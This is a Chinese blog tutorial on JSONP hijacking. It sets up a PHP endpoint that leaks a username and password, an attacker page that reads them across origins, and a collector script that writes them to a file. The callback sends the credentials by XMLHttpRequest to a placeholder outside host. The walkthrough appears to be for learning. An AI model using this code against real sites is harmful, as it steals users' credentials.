Jsonp劫持学习


Posted in PHP onApril 01, 2021

实验

劫持原理网上这张图很形象

Jsonp劫持学习

首先我们准备一个jsonp.php,简单的写了一个

<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
if(isset($_REQUEST['jsoncallback'])){
    if($_REQUEST['jsoncallback']=="callbackFunction"){
        $json_data='({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"})';
        
    }else {
        $json_data='({"info":"error"})';
    }
    echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
}
?>

此时我们访问http://xxxxxx/jsonp.php?jsoncallback=callbackFunction

会得到返回信息

callbackFunction(({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"}))

我们此时再准备一个hack.html页面,内容为

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Test</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
        {
            alert("username:"+result.name+" password:"+result.password);
        }
</script>
<script type="text/javascript" src="http://xxxxx/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>

如果受害者访问这个页面就会有个xss弹窗,弹出关键信息,

当然我们还可以更进一步的利用,讲内容保存到本地服务器,bc.php

<?php
$username=$_GET['username'];
$password=$_GET['password'];
$data="用户名:".$username."密码:".$password.PHP_EOL;
file_put_contents("pwd.txt",$data);
?>

再修改上面的callbackFuction,发起一个ajax请求即可,可以用layui这些封装好的,也可以原生内容

function callbackFunction(result)
        {
            var username=result.name;
            var password=result.password;
            const requests=new XMLHttpRequest();
            const url="http://xxxxxx/bc.php?username="+username+"&password="+password;
            requests.open("GET",url);
            requests.send();
        }

学习完毕

PHP 相关文章推荐
php中的实现trim函数代码
Mar 19 PHP
简单的PHP图片上传程序
Mar 27 PHP
怎样去阅读一份php源代码
Aug 21 PHP
PHP合并数组+与array_merge的区别分析
Aug 01 PHP
PHP判断远程图片是否存在的几种方法
May 04 PHP
php实现mysql封装类示例
May 07 PHP
模板引擎smarty工作原理以及使用示例
May 25 PHP
smarty简单入门实例
Nov 28 PHP
php简单实现屏蔽指定ip段用户的访问
Apr 29 PHP
PHP如何实现订单的延时处理详解
Dec 30 PHP
PHP PDOStatement::getAttribute讲解
Feb 01 PHP
解决PHP curl或file_get_contents下载图片损坏或无法打开的问题
Oct 11 PHP
利用ajax+php实现商品价格计算
php微信小程序解包过程实例详解
Mar 31 #PHP
ThinkPHP5和ThinkPHP6的区别
Mar 31 #PHP
PHP基本语法
PHP中->和=>的意思
Mar 31 #PHP
Mac M1安装mnmp (Mac+Nginx+MySQL+PHP) 开发环境
Laravel中Kafka的使用详解
Mar 24 #PHP
You might like
自写的利用PDO对mysql数据库增删改查操作类
2018/02/19 PHP
xtree.js 代码
2007/03/13 Javascript
javascript 遍历验证所有文本框的值
2009/08/27 Javascript
EXTJS内使用ACTIVEX控件引起崩溃问题的解决方法
2010/03/31 Javascript
JS遮罩层效果 兼容ie firefox jQuery遮罩层
2010/07/26 Javascript
javascript算法题 求任意一个1-9位不重复的N位数在该组合中的大小排列序号
2012/07/21 Javascript
Jquery解析json数据详解
2013/12/26 Javascript
LABjs、RequireJS、SeaJS的区别
2014/03/04 Javascript
Javascript仿PHP $_GET获取URL中的参数
2014/05/12 Javascript
JS的location.href跳出框架打开新页面的方法
2014/09/04 Javascript
alert出数组中的随即值代码
2014/09/25 Javascript
jQuery中复合属性选择器用法实例
2014/12/31 Javascript
js实现下拉框选择要显示图片的方法
2015/02/16 Javascript
浅析JavaScript事件和方法
2015/02/28 Javascript
JavaScript实现刷新不重记的倒计时
2016/08/10 Javascript
jQuery、zepto、js常用小技巧
2017/02/12 Javascript
JavaScript严格模式下关于this的几种指向详解
2017/07/12 Javascript
vue2.0 子组件改变props值,并向父组件传值的方法
2018/03/01 Javascript
详解在Vue中使用TypeScript的一些思考(实践)
2018/07/06 Javascript
Vue运用transition实现过渡动画
2019/05/06 Javascript
生产制造追溯系统之再说条码打印
2019/06/03 Javascript
JavaScript实现更换背景图片
2019/10/18 Javascript
详解js location.href和window.open的几种用法和区别
2019/12/02 Javascript
phpsir 开发 一个检测百度关键字网站排名的python 程序
2009/09/17 Python
在Python的Bottle框架中使用微信API的示例
2015/04/23 Python
老生常谈Python序列化和反序列化
2017/06/28 Python
详解Python Matplot中文显示完美解决方案
2019/03/07 Python
Python可迭代对象操作示例
2019/05/07 Python
python elasticsearch从创建索引到写入数据的全过程
2019/08/04 Python
Pycharm+Python工程,引用子模块的实现
2020/03/09 Python
用python爬虫批量下载pdf的实现
2020/12/01 Python
使用gunicorn部署django项目的问题
2020/12/30 Python
乡镇一岗双责责任书
2015/01/29 职场文书
世界环境日活动总结
2015/02/11 职场文书
党员自我评价范文2015
2015/03/03 职场文书
Python中tqdm的使用和例子
2022/09/23 Python